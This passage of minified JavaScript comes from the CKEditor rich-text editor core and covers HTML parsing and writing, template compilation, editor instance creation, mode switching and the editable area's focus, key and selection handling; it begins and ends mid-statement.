if(!d.parent)a.onRoot(b,d);for(;;){f=d.name;if(!(k=a.onElementName(b,f))){this.remove();return false}d.name=k;if(!(d=a.onElement(b,d))){this.remove();return false}if(d!==this){this.replaceWith(d);return false}if(d.name==f)break;if(d.type!=CKEDITOR.NODE_ELEMENT){this.replaceWith(d);return false}if(!d.name){this.replaceWithChildren();return false}}f=d.attributes;var j,g;for(j in f){g=j;for(k=f[j];;)if(g=a.onAttributeName(b,j))if(g!=j){delete f[j];j=g}else break;else{delete f[j];break}g&&((k=a.onAttribute(b,
d,g,k))===false?delete f[g]:f[g]=k)}d.isEmpty||this.filterChildren(a,false,b);return true},filterChildren:b.filterChildren,writeHtml:function(a,b){b&&this.filter(b);var d=this.name,h=[],k=this.attributes,j,g;a.openTag(d,k);for(j in k)h.push([j,k[j]]);a.sortAttributes&&h.sort(f);j=0;for(g=h.length;j<g;j++){k=h[j];a.attribute(k[0],k[1])}a.openTagClose(d,this.isEmpty);this.writeChildrenHtml(a);this.isEmpty||a.closeTag(d)},writeChildrenHtml:b.writeChildrenHtml,replaceWithChildren:function(){for(var a=
this.children,b=a.length;b;)a[--b].insertAfter(this);this.remove()},forEach:b.forEach,getFirst:function(b){if(!b)return this.children.length?this.children[0]:null;typeof b!="function"&&(b=a(b));for(var e=0,d=this.children.length;e<d;++e)if(b(this.children[e]))return this.children[e];return null},getHtml:function(){var a=new CKEDITOR.htmlParser.basicWriter;this.writeChildrenHtml(a);return a.getHtml()},setHtml:function(a){for(var a=this.children=CKEDITOR.htmlParser.fragment.fromHtml(a).children,b=0,
d=a.length;b<d;++b)a[b].parent=this},getOuterHtml:function(){var a=new CKEDITOR.htmlParser.basicWriter;this.writeHtml(a);return a.getHtml()},split:function(a){for(var b=this.children.splice(a,this.children.length-a),d=this.clone(),f=0;f<b.length;++f)b[f].parent=d;d.children=b;if(b[0])b[0].previous=null;if(a>0)this.children[a-1].next=null;this.parent.add(d,this.getIndex()+1);return d},addClass:function(a){if(!this.hasClass(a)){var b=this.attributes["class"]||"";this.attributes["class"]=b+(b?" ":"")+
a}},removeClass:function(a){var b=this.attributes["class"];if(b)(b=CKEDITOR.tools.trim(b.replace(RegExp("(?:\\s+|^)"+a+"(?:\\s+|$)")," ")))?this.attributes["class"]=b:delete this.attributes["class"]},hasClass:function(a){var b=this.attributes["class"];return!b?false:RegExp("(?:^|\\s)"+a+"(?=\\s|$)").test(b)},getFilterContext:function(a){var b=[];a||(a={off:false,nonEditable:false,nestedEditable:false});!a.off&&this.attributes["data-cke-processor"]=="off"&&b.push("off",true);!a.nonEditable&&this.attributes.contenteditable==
"false"?b.push("nonEditable",true):a.nonEditable&&(!a.nestedEditable&&this.attributes.contenteditable=="true")&&b.push("nestedEditable",true);if(b.length)for(var a=CKEDITOR.tools.copy(a),d=0;d<b.length;d=d+2)a[b[d]]=b[d+1];return a}},true)})();
(function(){var a={},f=/{([^}]+)}/g,b=/([\\'])/g,c=/\n/g,e=/\r/g;CKEDITOR.template=function(d){if(a[d])this.output=a[d];else{var h=d.replace(b,"\\$1").replace(c,"\\n").replace(e,"\\r").replace(f,function(a,b){return"',data['"+b+"']==undefined?'{"+b+"}':data['"+b+"'],'"});this.output=a[d]=Function("data","buffer","return buffer?buffer.push('"+h+"'):['"+h+"'].join('');")}}})();delete CKEDITOR.loadFullCore;CKEDITOR.instances={};CKEDITOR.document=new CKEDITOR.dom.document(document);
CKEDITOR.add=function(a){CKEDITOR.instances[a.name]=a;a.on("focus",function(){if(CKEDITOR.currentInstance!=a){CKEDITOR.currentInstance=a;CKEDITOR.fire("currentInstance")}});a.on("blur",function(){if(CKEDITOR.currentInstance==a){CKEDITOR.currentInstance=null;CKEDITOR.fire("currentInstance")}});CKEDITOR.fire("instance",null,a)};CKEDITOR.remove=function(a){delete CKEDITOR.instances[a.name]};
(function(){var a={};CKEDITOR.addTemplate=function(f,b){var c=a[f];if(c)return c;c={name:f,source:b};CKEDITOR.fire("template",c);return a[f]=new CKEDITOR.template(c.source)};CKEDITOR.getTemplate=function(f){return a[f]}})();(function(){var a=[];CKEDITOR.addCss=function(f){a.push(f)};CKEDITOR.getCss=function(){return a.join("\n")}})();CKEDITOR.on("instanceDestroyed",function(){CKEDITOR.tools.isEmpty(this.instances)&&CKEDITOR.fire("reset")});CKEDITOR.TRISTATE_ON=1;CKEDITOR.TRISTATE_OFF=2;
CKEDITOR.TRISTATE_DISABLED=0;
(function(){CKEDITOR.inline=function(a,f){if(!CKEDITOR.env.isCompatible)return null;a=CKEDITOR.dom.element.get(a);if(a.getEditor())throw'The editor instance "'+a.getEditor().name+'" is already attached to the provided element.';var b=new CKEDITOR.editor(f,a,CKEDITOR.ELEMENT_MODE_INLINE),c=a.is("textarea")?a:null;if(c){b.setData(c.getValue(),null,true);a=CKEDITOR.dom.element.createFromHtml('<div contenteditable="'+!!b.readOnly+'" class="cke_textarea_inline">'+c.getValue()+"</div>",CKEDITOR.document);
a.insertAfter(c);c.hide();c.$.form&&b._attachToForm()}else b.setData(a.getHtml(),null,true);b.on("loaded",function(){b.fire("uiReady");b.editable(a);b.container=a;b.setData(b.getData(1));b.resetDirty();b.fire("contentDom");b.mode="wysiwyg";b.fire("mode");b.status="ready";b.fireOnce("instanceReady");CKEDITOR.fire("instanceReady",null,b)},null,null,1E4);b.on("destroy",function(){if(c){b.container.clearCustomData();b.container.remove();c.show()}b.element.clearCustomData();delete b.element});return b};
CKEDITOR.inlineAll=function(){var a,f,b;for(b in CKEDITOR.dtd.$editable)for(var c=CKEDITOR.document.getElementsByTag(b),e=0,d=c.count();e<d;e++){a=c.getItem(e);if(a.getAttribute("contenteditable")=="true"){f={element:a,config:{}};CKEDITOR.fire("inline",f)!==false&&CKEDITOR.inline(a,f.config)}}};CKEDITOR.domReady(function(){!CKEDITOR.disableAutoInline&&CKEDITOR.inlineAll()})})();CKEDITOR.replaceClass="ckeditor";
(function(){function a(a,e,d,h){if(!CKEDITOR.env.isCompatible)return null;a=CKEDITOR.dom.element.get(a);if(a.getEditor())throw'The editor instance "'+a.getEditor().name+'" is already attached to the provided element.';var k=new CKEDITOR.editor(e,a,h);if(h==CKEDITOR.ELEMENT_MODE_REPLACE){a.setStyle("visibility","hidden");k._.required=a.hasAttribute("required");a.removeAttribute("required")}d&&k.setData(d,null,true);k.on("loaded",function(){b(k);h==CKEDITOR.ELEMENT_MODE_REPLACE&&(k.config.autoUpdateElement&&
a.$.form)&&k._attachToForm();k.setMode(k.config.startupMode,function(){k.resetDirty();k.status="ready";k.fireOnce("instanceReady");CKEDITOR.fire("instanceReady",null,k)})});k.on("destroy",f);return k}function f(){var a=this.container,b=this.element;if(a){a.clearCustomData();a.remove()}if(b){b.clearCustomData();if(this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE){b.show();this._.required&&b.setAttribute("required","required")}delete this.element}}function b(a){var b=a.name,d=a.element,f=a.elementMode,
k=a.fire("uiSpace",{space:"top",html:""}).html,j=a.fire("uiSpace",{space:"bottom",html:""}).html,g=new CKEDITOR.template('<{outerEl} id="cke_{name}" class="{id} cke cke_reset cke_chrome cke_editor_{name} cke_{langDir} '+CKEDITOR.env.cssClass+'"  dir="{langDir}" lang="{langCode}" role="application"'+(a.title?' aria-labelledby="cke_{name}_arialbl"':"")+">"+(a.title?'<span id="cke_{name}_arialbl" class="cke_voice_label">{voiceLabel}</span>':"")+'<{outerEl} class="cke_inner cke_reset" role="presentation">{topHtml}<{outerEl} id="{contentId}" class="cke_contents cke_reset" role="presentation"></{outerEl}>{bottomHtml}</{outerEl}></{outerEl}>'),
b=CKEDITOR.dom.element.createFromHtml(g.output({id:a.id,name:b,langDir:a.lang.dir,langCode:a.langCode,voiceLabel:a.title,topHtml:k?'<span id="'+a.ui.spaceId("top")+'" class="cke_top cke_reset_all" role="presentation" style="height:auto">'+k+"</span>":"",contentId:a.ui.spaceId("contents"),bottomHtml:j?'<span id="'+a.ui.spaceId("bottom")+'" class="cke_bottom cke_reset_all" role="presentation">'+j+"</span>":"",outerEl:CKEDITOR.env.ie?"span":"div"}));if(f==CKEDITOR.ELEMENT_MODE_REPLACE){d.hide();b.insertAfter(d)}else d.append(b);
a.container=b;k&&a.ui.space("top").unselectable();j&&a.ui.space("bottom").unselectable();d=a.config.width;f=a.config.height;d&&b.setStyle("width",CKEDITOR.tools.cssLength(d));f&&a.ui.space("contents").setStyle("height",CKEDITOR.tools.cssLength(f));b.disableContextMenu();CKEDITOR.env.webkit&&b.on("focus",function(){a.focus()});a.fireOnce("uiReady")}CKEDITOR.replace=function(b,e){return a(b,e,null,CKEDITOR.ELEMENT_MODE_REPLACE)};CKEDITOR.appendTo=function(b,e,d){return a(b,e,d,CKEDITOR.ELEMENT_MODE_APPENDTO)};
CKEDITOR.replaceAll=function(){for(var a=document.getElementsByTagName("textarea"),b=0;b<a.length;b++){var d=null,f=a[b];if(f.name||f.id){if(typeof arguments[0]=="string"){if(!RegExp("(?:^|\\s)"+arguments[0]+"(?:$|\\s)").test(f.className))continue}else if(typeof arguments[0]=="function"){d={};if(arguments[0](f,d)===false)continue}this.replace(f,d)}}};CKEDITOR.editor.prototype.addMode=function(a,b){(this._.modes||(this._.modes={}))[a]=b};CKEDITOR.editor.prototype.setMode=function(a,b){var d=this,f=
this._.modes;if(!(a==d.mode||!f||!f[a])){d.fire("beforeSetMode",a);if(d.mode){var k=d.checkDirty(),f=d._.previousModeData,j,g=0;d.fire("beforeModeUnload");d.editable(0);d._.previousMode=d.mode;d._.previousModeData=j=d.getData(1);if(d.mode=="source"&&f==j){d.fire("lockSnapshot",{forceUpdate:true});g=1}d.ui.space("contents").setHtml("");d.mode=""}else d._.previousModeData=d.getData(1);this._.modes[a](function(){d.mode=a;k!==void 0&&!k&&d.resetDirty();g?d.fire("unlockSnapshot"):a=="wysiwyg"&&d.fire("saveSnapshot");
setTimeout(function(){d.fire("mode");b&&b.call(d)},0)})}};CKEDITOR.editor.prototype.resize=function(a,b,d,f){var k=this.container,j=this.ui.space("contents"),g=CKEDITOR.env.webkit&&this.document&&this.document.getWindow().$.frameElement,f=f?this.container.getFirst(function(a){return a.type==CKEDITOR.NODE_ELEMENT&&a.hasClass("cke_inner")}):k;f.setSize("width",a,true);g&&(g.style.width="1%");j.setStyle("height",Math.max(b-(d?0:(f.$.offsetHeight||0)-(j.$.clientHeight||0)),0)+"px");g&&(g.style.width=
"100%");this.fire("resize")};CKEDITOR.editor.prototype.getResizable=function(a){return a?this.ui.space("contents"):this.container};CKEDITOR.domReady(function(){CKEDITOR.replaceClass&&CKEDITOR.replaceAll(CKEDITOR.replaceClass)})})();CKEDITOR.config.startupMode="wysiwyg";
(function(){function a(a){var b=a.editor,d=a.data.path,e=d.blockLimit,l=a.data.selection,p=l.getRanges()[0],r;if(CKEDITOR.env.gecko||CKEDITOR.env.ie&&CKEDITOR.env.needsBrFiller)if(l=f(l,d)){l.appendBogus();r=CKEDITOR.env.ie}if(h(b,d.block,e)&&p.collapsed&&!p.getCommonAncestor().isReadOnly()){d=p.clone();d.enlarge(CKEDITOR.ENLARGE_BLOCK_CONTENTS);e=new CKEDITOR.dom.walker(d);e.guard=function(a){return!c(a)||a.type==CKEDITOR.NODE_COMMENT||a.isReadOnly()};if(!e.checkForward()||d.checkStartOfBlock()&&
d.checkEndOfBlock()){b=p.fixBlock(true,b.activeEnterMode==CKEDITOR.ENTER_DIV?"div":"p");if(!CKEDITOR.env.needsBrFiller)(b=b.getFirst(c))&&(b.type==CKEDITOR.NODE_TEXT&&CKEDITOR.tools.trim(b.getText()).match(/^(?:&nbsp;|\xa0)$/))&&b.remove();r=1;a.cancel()}}r&&p.select()}function f(a,b){if(a.isFake)return 0;var d=b.block||b.blockLimit,e=d&&d.getLast(c);if(d&&d.isBlockBoundary()&&(!e||!(e.type==CKEDITOR.NODE_ELEMENT&&e.isBlockBoundary()))&&!d.is("pre")&&!d.getBogus())return d}function b(a){var b=a.data.getTarget();
if(b.is("input")){b=b.getAttribute("type");(b=="submit"||b=="reset")&&a.data.preventDefault()}}function c(a){return s(a)&&w(a)}function e(a,b){return function(c){var d=CKEDITOR.dom.element.get(c.data.$.toElement||c.data.$.fromElement||c.data.$.relatedTarget);(!d||!b.equals(d)&&!b.contains(d))&&a.call(this,c)}}function d(a){function b(a){return function(b,e){e&&(b.type==CKEDITOR.NODE_ELEMENT&&b.is(f))&&(d=b);if(!e&&c(b)&&(!a||!m(b)))return false}}var d,e=a.getRanges()[0],a=a.root,f={table:1,ul:1,ol:1,
dl:1};if(e.startPath().contains(f)){var p=e.clone();p.collapse(1);p.setStartAt(a,CKEDITOR.POSITION_AFTER_START);a=new CKEDITOR.dom.walker(p);a.guard=b();a.checkBackward();if(d){p=e.clone();p.collapse();p.setEndAt(d,CKEDITOR.POSITION_AFTER_END);a=new CKEDITOR.dom.walker(p);a.guard=b(true);d=false;a.checkForward();return d}}return null}function h(a,b,c){return a.config.autoParagraph!==false&&a.activeEnterMode!=CKEDITOR.ENTER_BR&&a.editable().equals(c)&&!b||b&&b.getAttribute("contenteditable")=="true"}
function k(a){a.editor.focus();a.editor.fire("saveSnapshot")}function j(a){var b=a.editor;b.getSelection().scrollIntoView();setTimeout(function(){b.fire("saveSnapshot")},0)}function g(a,b,c){for(var d=a.getCommonAncestor(b),b=a=c?b:a;(a=a.getParent())&&!d.equals(a)&&a.getChildCount()==1;)b=a;b.remove()}CKEDITOR.editable=CKEDITOR.tools.createClass({base:CKEDITOR.dom.element,$:function(a,b){this.base(b.$||b);this.editor=a;this.status="unloaded";this.hasFocus=false;this.setup()},proto:{focus:function(){var a;
if(CKEDITOR.env.webkit&&!this.hasFocus){a=this.editor._.previousActive||this.getDocument().getActive();if(this.contains(a)){a.focus();return}}try{this.$[CKEDITOR.env.ie&&this.getDocument().equals(CKEDITOR.document)?"setActive":"focus"]()}catch(b){if(!CKEDITOR.env.ie)throw b;}if(CKEDITOR.env.safari&&!this.isInline()){a=CKEDITOR.document.getActive();a.equals(this.getWindow().getFrame())||this.getWindow().focus()}},on:function(a,b){var c=Array.prototype.slice.call(arguments,0);if(CKEDITOR.env.ie&&/^focus|blur$/.exec(a)){a=
a=="focus"?"focusin":"focusout";b=e(b,this);c[0]=a;c[1]=b}return CKEDITOR.dom.element.prototype.on.apply(this,c)},attachListener:function(a){!this._.listeners&&(this._.listeners=[]);var b=Array.prototype.slice.call(arguments,1),b=a.on.apply(a,b);this._.listeners.push(b);return b},clearListeners:function(){var a=this._.listeners;try{for(;a.length;)a.pop().removeListener()}catch(b){}},restoreAttrs:function(){var a=this._.attrChanges,b,c;for(c in a)if(a.hasOwnProperty(c)){b=a[c];b!==null?this.setAttribute(c,
b):this.removeAttribute(c)}},attachClass:function(a){var b=this.getCustomData("classes");if(!this.hasClass(a)){!b&&(b=[]);b.push(a);this.setCustomData("classes",b);this.addClass(a)}},changeAttr:function(a,b){var c=this.getAttribute(a);if(b!==c){!this._.attrChanges&&(this._.attrChanges={});a in this._.attrChanges||(this._.attrChanges[a]=c);this.setAttribute(a,b)}},insertHtml:function(a,b){k(this);q(this,b||"html",a)},insertText:function(a){k(this);var b=this.editor,c=b.getSelection().getStartElement().hasAscendant("pre",
true)?CKEDITOR.ENTER_BR:b.activeEnterMode,b=c==CKEDITOR.ENTER_BR,d=CKEDITOR.tools,a=d.htmlEncode(a.replace(/\r\n/g,"\n")),a=a.replace(/\t/g,"&nbsp;&nbsp; &nbsp;"),c=c==CKEDITOR.ENTER_P?"p":"div";if(!b){var e=/\n{2}/g;if(e.test(a))var f="<"+c+">",r="</"+c+">",a=f+a.replace(e,function(){return r+f})+r}a=a.replace(/\n/g,"<br>");b||(a=a.replace(RegExp("<br>(?=</"+c+">)"),function(a){return d.repeat(a,2)}));a=a.replace(/^ | $/g,"&nbsp;");a=a.replace(/(>|\s) /g,function(a,b){return b+"&nbsp;"}).replace(/ (?=<)/g,
"&nbsp;");q(this,"text",a)},insertElement:function(a,b){b?this.insertElementIntoRange(a,b):this.insertElementIntoSelection(a)},insertElementIntoRange:function(a,b){var c=this.editor,d=c.config.enterMode,e=a.getName(),f=CKEDITOR.dtd.$block[e];if(b.checkReadOnly())return false;b.deleteContents(1);b.startContainer.type==CKEDITOR.NODE_ELEMENT&&b.startContainer.is({tr:1,table:1,tbody:1,thead:1,tfoot:1})&&t(b);var r,n;if(f)for(;(r=b.getCommonAncestor(0,1))&&(n=CKEDITOR.dtd[r.getName()])&&(!n||!n[e]);)if(r.getName()in
CKEDITOR.dtd.span)b.splitElement(r);else if(b.checkStartOfBlock()&&b.checkEndOfBlock()){b.setStartBefore(r);b.collapse(true);r.remove()}else b.splitBlock(d==CKEDITOR.ENTER_DIV?"div":"p",c.editable());b.insertNode(a);return true},insertElementIntoSelection:function(a){k(this);var b=this.editor,d=b.activeEnterMode,b=b.getSelection(),e=b.getRanges()[0],f=a.getName(),f=CKEDITOR.dtd.$block[f];if(this.insertElementIntoRange(a,e)){e.moveToPosition(a,CKEDITOR.POSITION_AFTER_END);if(f)if((f=a.getNext(function(a){return c(a)&&
!m(a)}))&&f.type==CKEDITOR.NODE_ELEMENT&&f.is(CKEDITOR.dtd.$block))f.getDtd()["#"]?e.moveToElementEditStart(f):e.moveToElementEditEnd(a);else if(!f&&d!=CKEDITOR.ENTER_BR){f=e.fixBlock(true,d==CKEDITOR.ENTER_DIV?"div":"p");e.moveToElementEditStart(f)}}b.selectRanges([e]);j(this)},setData:function(a,b){b||(a=this.editor.dataProcessor.toHtml(a));this.setHtml(a);this.fixInitialSelection();if(this.status=="unloaded")this.status="ready";this.editor.fire("dataReady")},getData:function(a){var b=this.getHtml();
a||(b=this.editor.dataProcessor.toDataFormat(b));return b},setReadOnly:function(a){this.setAttribute("contenteditable",!a)},detach:function(){this.removeClass("cke_editable");this.status="detached";var a=this.editor;this._.detach();delete a.document;delete a.window},isInline:function(){return this.getDocument().equals(CKEDITOR.document)},fixInitialSelection:function(){function a(){var b=c.getDocument().$,d=b.getSelection(),e;if(d.anchorNode&&d.anchorNode==c.$)e=true;else if(CKEDITOR.env.webkit){var f=
c.getDocument().getActive();f&&(f.equals(c)&&!d.anchorNode)&&(e=true)}if(e){e=new CKEDITOR.dom.range(c);e.moveToElementEditStart(c);b=b.createRange();b.setStart(e.startContainer.$,e.startOffset);b.collapse(true);d.removeAllRanges();d.addRange(b)}}function b(){var a=c.getDocument().$,d=a.selection,e=c.getDocument().getActive();if(d.type=="None"&&e.equals(c)){d=new CKEDITOR.dom.range(c);a=a.body.createTextRange();d.moveToElementEditStart(c);d=d.startContainer;d.type!=CKEDITOR.NODE_ELEMENT&&(d=d.getParent());
a.moveToElementText(d.$);a.collapse(true);a.select()}}var c=this;if(CKEDITOR.env.ie&&(CKEDITOR.env.version<9||CKEDITOR.env.quirks)){if(this.hasFocus){this.focus();b()}}else if(this.hasFocus){this.focus();a()}else this.once("focus",function(){a()},null,null,-999)},setup:function(){var a=this.editor;this.attachListener(a,"beforeGetData",function(){var b=this.getData();this.is("textarea")||a.config.ignoreEmptyParagraph!==false&&(b=b.replace(y,function(a,b){return b}));a.setData(b,null,1)},this);this.attachListener(a,
"getSnapshot",function(a){a.data=this.getData(1)},this);this.attachListener(a,"afterSetData",function(){this.setData(a.getData(1))},this);this.attachListener(a,"loadSnapshot",function(a){this.setData(a.data,1)},this);this.attachListener(a,"beforeFocus",function(){var b=a.getSelection();(b=b&&b.getNative())&&b.type=="Control"||this.focus()},this);this.attachListener(a,"insertHtml",function(a){this.insertHtml(a.data.dataValue,a.data.mode)},this);this.attachListener(a,"insertElement",function(a){this.insertElement(a.data)},
this);this.attachListener(a,"insertText",function(a){this.insertText(a.data)},this);this.setReadOnly(a.readOnly);this.attachClass("cke_editable");this.attachClass(a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?"cke_editable_inline":a.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE||a.elementMode==CKEDITOR.ELEMENT_MODE_APPENDTO?"cke_editable_themed":"");this.attachClass("cke_contents_"+a.config.contentsLangDirection);a.keystrokeHandler.blockedKeystrokes[8]=+a.readOnly;a.keystrokeHandler.attach(this);this.on("blur",
function(){this.hasFocus=false},null,null,-1);this.on("focus",function(){this.hasFocus=true},null,null,-1);a.focusManager.add(this);if(this.equals(CKEDITOR.document.getActive())){this.hasFocus=true;a.once("contentDom",function(){a.focusManager.focus(this)},this)}this.isInline()&&this.changeAttr("tabindex",a.tabIndex);if(!this.is("textarea")){a.document=this.getDocument();a.window=this.getWindow();var e=a.document;this.changeAttr("spellcheck",!a.config.disableNativeSpellChecker);var f=a.config.contentsLangDirection;
this.getDirection(1)!=f&&this.changeAttr("dir",f);var h=CKEDITOR.getCss();if(h){f=e.getHead();if(!f.getCustomData("stylesheet")){h=e.appendStyleText(h);h=new CKEDITOR.dom.element(h.ownerNode||h.owningElement);f.setCustomData("stylesheet",h);h.data("cke-temp",1)}}f=e.getCustomData("stylesheet_ref")||0;e.setCustomData("stylesheet_ref",f+1);this.setCustomData("cke_includeReadonly",!a.config.disableReadonlyStyling);this.attachListener(this,"click",function(a){var a=a.data,b=(new CKEDITOR.dom.elementPath(a.getTarget(),
this)).contains("a");b&&(a.$.button!=2&&b.isReadOnly())&&a.preventDefault()});var l={8:1,46:1};this.attachListener(a,"key",function(b){if(a.readOnly)return true;var c=b.data.domEvent.getKey(),e;if(c in l){var b=a.getSelection(),f,h=b.getRanges()[0],g=h.startPath(),o,m,j,c=c==8;if(CKEDITOR.env.ie&&CKEDITOR.env.version<11&&(f=b.getSelectedElement())||(f=d(b))){a.fire("saveSnapshot");h.moveToPosition(f,CKEDITOR.POSITION_BEFORE_START);f.remove();h.select();a.fire("saveSnapshot");e=1}else if(h.collapsed)if((o=
g.block)&&(j=o[c?"getPrevious":"getNext"](s))&&j.type==CKEDITOR.NODE_ELEMENT&&j.is("table")&&h[c?"checkStartOfBlock":"checkEndOfBlock"]()){a.fire("saveSnapshot");h[c?"checkEndOfBlock":"checkStartOfBlock"]()&&o.remove();h["moveToElementEdit"+(c?"End":"Start")](j);h.select();a.fire("saveSnapshot");e=1}else if(g.blockLimit&&g.blockLimit.is("td")&&(m=g.blockLimit.getAscendant("table"))&&h.checkBoundaryOfElement(m,c?CKEDITOR.START:CKEDITOR.END)&&(j=m[c?"getPrevious":"getNext"](s))){a.fire("saveSnapshot");
h["moveToElementEdit"+(c?"End":"Start")](j);h.checkStartOfBlock()&&h.checkEndOfBlock()?j.remove():h.select();a.fire("saveSnapshot");e=1}else if((m=g.contains(["td","th","caption"]))&&h.checkBoundaryOfElement(m,c?CKEDITOR.START:CKEDITOR.END))e=1}return!e});a.blockless&&(CKEDITOR.env.ie&&CKEDITOR.env.needsBrFiller)&&this.attachListener(this,"keyup",function(b){if(b.data.getKeystroke()in l&&!this.getFirst(c)){this.appendBogus();b=a.createRange();b.moveToPosition(this,CKEDITOR.POSITION_AFTER_START);b.select()}});
this.attachListener(this,"dblclick",function(b){if(a.readOnly)return false;b={element:b.data.getTarget()};a.fire("doubleclick",b)});CKEDITOR.env.ie&&this.attachListener(this,"click",b);CKEDITOR.env.ie||this.attachListener(this,"mousedown",function(b){var c=b.data.getTarget();if(c.is("img","hr","input","textarea","select")&&!c.isReadOnly()){a.getSelection().selectElement(c);c.is("input","textarea","select")&&b.data.preventDefault()}});CKEDITOR.env.gecko&&this.attachListener(this,"mouseup",function(b){if(b.data.$.button==
2){b=b.data.getTarget();if(!b.getOuterHtml().replace(y,"")){var c=a.createRange();c.moveToElementEditStart(b);c.select(true)}}});if(CKEDITOR.env.webkit){this.attachListener(this,"click",function(a){a.data.getTarget().is("input","select")&&a.data.preventDefault()});this.attachListener(this,"mouseup",function(a){a.data.getTarget().is("input","textarea")&&a.data.preventDefault()})}CKEDITOR.env.webkit&&this.attachListener(a,"key",function(b){b=b.data.domEvent.getKey();if(b in l){var c=b==8,d=a.getSelection().getRanges()[0],
b=d.startPath();if(d.collapsed){var e;a:{var f=b.block;if(f)if(d[c?"checkStartOfBlock":"checkEndOfBlock"]())if(!d.moveToClosestEditablePosition(f,!c)||!d.collapsed)e=false;else{if(d.startContainer.type==CKEDITOR.NODE_ELEMENT){var h=d.startContainer.getChild(d.startOffset-(c?1:0));if(h&&h.type==CKEDITOR.NODE_ELEMENT&&h.is("hr")){a.fire("saveSnapshot");h.remove();e=true;break a}}if((d=d.startPath().block)&&(!d||!d.contains(f))){a.fire("saveSnapshot");var j;(j=(c?d:f).getBogus())&&j.remove();e=a.getSelection();
j=e.createBookmarks();(c?f:d).moveChildren(c?d:f,false);b.lastElement.mergeSiblings();g(f,d,!c);e.selectBookmarks(j);e=true}}else e=false;else e=false}if(!e)return}else{c=d;e=b.block;j=c.endPath().block;if(!e||!j||e.equals(j))b=false;else{a.fire("saveSnapshot");(f=e.getBogus())&&f.remove();c.deleteContents();if(j.getParent()){j.moveChildren(e,false);b.lastElement.mergeSiblings();g(e,j,true)}c=a.getSelection().getRanges()[0];c.collapse(1);c.select();b=true}if(!b)return}a.getSelection().scrollIntoView();
a.fire("saveSnapshot");return false}},this,null,100)}}},_:{detach:function(){this.editor.setData(this.editor.getData(),0,1);this.clearListeners();this.restoreAttrs();var a;if(a=this.removeCustomData("classes"))for(;a.length;)this.removeClass(a.pop());if(!this.is("textarea")){a=this.getDocument();var b=a.getHead();if(b.getCustomData("stylesheet")){var c=a.getCustomData("stylesheet_ref");if(--c)a.setCustomData("stylesheet_ref",c);else{a.removeCustomData("stylesheet_ref");b.removeCustomData("stylesheet").remove()}}}this.editor.fire("contentDomUnload");
delete this.editor}}});CKEDITOR.editor.prototype.editable=function(a){var b=this._.editable;if(b&&a)return 0;if(arguments.length)b=this._.editable=a?a instanceof CKEDITOR.editable?a:new CKEDITOR.editable(this,a):(b&&b.detach(),null);return b};var m=CKEDITOR.dom.walker.bogus(),y=/(^|<body\b[^>]*>)\s*<(p|div|address|h\d|center|pre)[^>]*>\s*(?:<br[^>]*>|&nbsp;|\u00A0|&#160;)?\s*(:?<\/\2>)?\s*(?=$|<\/body>)/gi,s=CKEDITOR.dom.walker.whitespaces(true),w=CKEDITOR.dom.walker.bookmark(false,true);CKEDITOR.on("instanceLoaded",
function(b){var c=b.editor;c.on("insertElement",function(a){a=a.data;if(a.type==CKEDITOR.NODE_ELEMENT&&(a.is("input")||a.is("textarea"))){a.getAttribute("contentEditable")!="false"&&a.data("cke-editable",a.hasAttribute("contenteditable")?"true":"1");a.setAttribute("contentEditable",false)}});c.on("selectionChange",function(b){if(!c.readOnly){var d=c.getSelection();if(d&&!d.isLocked){d=c.checkDirty();c.fire("lockSnapshot");a(b);c.fire("unlockSnapshot");!d&&c.resetDirty()}}})});CKEDITOR.on("instanceCreated",
function(a){var b=a.editor;b.on("mode",function(){var a=b.editable();if(a&&a.isInline()){var c=b.title;a.changeAttr("role","textbox");a.changeAttr("aria-label",c);c&&a.changeAttr("title",c);var d=b.fire("ariaEditorHelpLabel",{}).label;if(d)if(c=this.ui.space(this.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?"top":"contents")){var e=CKEDITOR.tools.getNextId(),d=CKEDITOR.dom.element.createFromHtml('<span id="'+e+'" class="cke_voice_label">'+d+"</span>");c.append(d);a.changeAttr("aria-describedby",e)}}})});
CKEDITOR.addCss(".cke_editable{cursor:text}.cke_editable img,.cke_editable input,.cke_editable textarea{cursor:default}");var q=function(){function a(b){return b.type==CKEDITOR.NODE_ELEMENT}function b(c,d){var e,f,l,p,h=[],g=d.range.startContainer;e=d.range.startPath();for(var g=r[g.getName()],n=0,j=c.getChildren(),m=j.count(),o=-1,C=-1,k=0,q=e.contains(r.$list);n<m;++n){e=j.getItem(n);if(a(e)){l=e.getName();if(q&&l in CKEDITOR.dtd.$list)h=h.concat(b(e,d));else{p=!!g[l];if(l=="br"&&e.data("cke-eol")&&
(!n||n==m-1)){k=(f=n?h[n-1].node:j.getItem(n+1))&&(!a(f)||!f.is("br"));f=f&&a(f)&&r.$block[f.getName()]}o==-1&&!p&&(o=n);p||(C=n);h.push({isElement:1,isLineBreak:k,isBlock:e.isBlockBoundary(),hasBlockSibling:f,node:e,name:l,allowed:p});f=k=0}}else h.push({isElement:0,node:e,allowed:1})}if(o>-1)h[o].firstNotAllowed=1;if(C>-1)h[C].lastNotAllowed=1;return h}function d(b,c){var e=[],f=b.getChildren(),l=f.count(),p,h=0,g=r[c],n=!b.is(r.$inline)||b.is("br");for(n&&e.push(" ");h<l;h++){p=f.getItem(h);a(p)&&
!p.is(g)?e=e.concat(d(p,c)):e.push(p)}n&&e.push(" ");return e}function e(b){return b&&a(b)&&(b.is(r.$removeEmpty)||b.is("a")&&!b.isBlockBoundary())}function f(b,c,d,e){var p=b.clone(),h,r;p.setEndAt(c,CKEDITOR.POSITION_BEFORE_END);if((h=(new CKEDITOR.dom.walker(p)).next())&&a(h)&&g[h.getName()]&&(r=h.getPrevious())&&a(r)&&!r.getParent().equals(b.startContainer)&&d.contains(r)&&e.contains(h)&&h.isIdentical(r)){h.moveChildren(r);h.remove();f(b,c,d,e)}}function p(b,c){function d(b,c){if(c.isBlock&&c.isElement&&
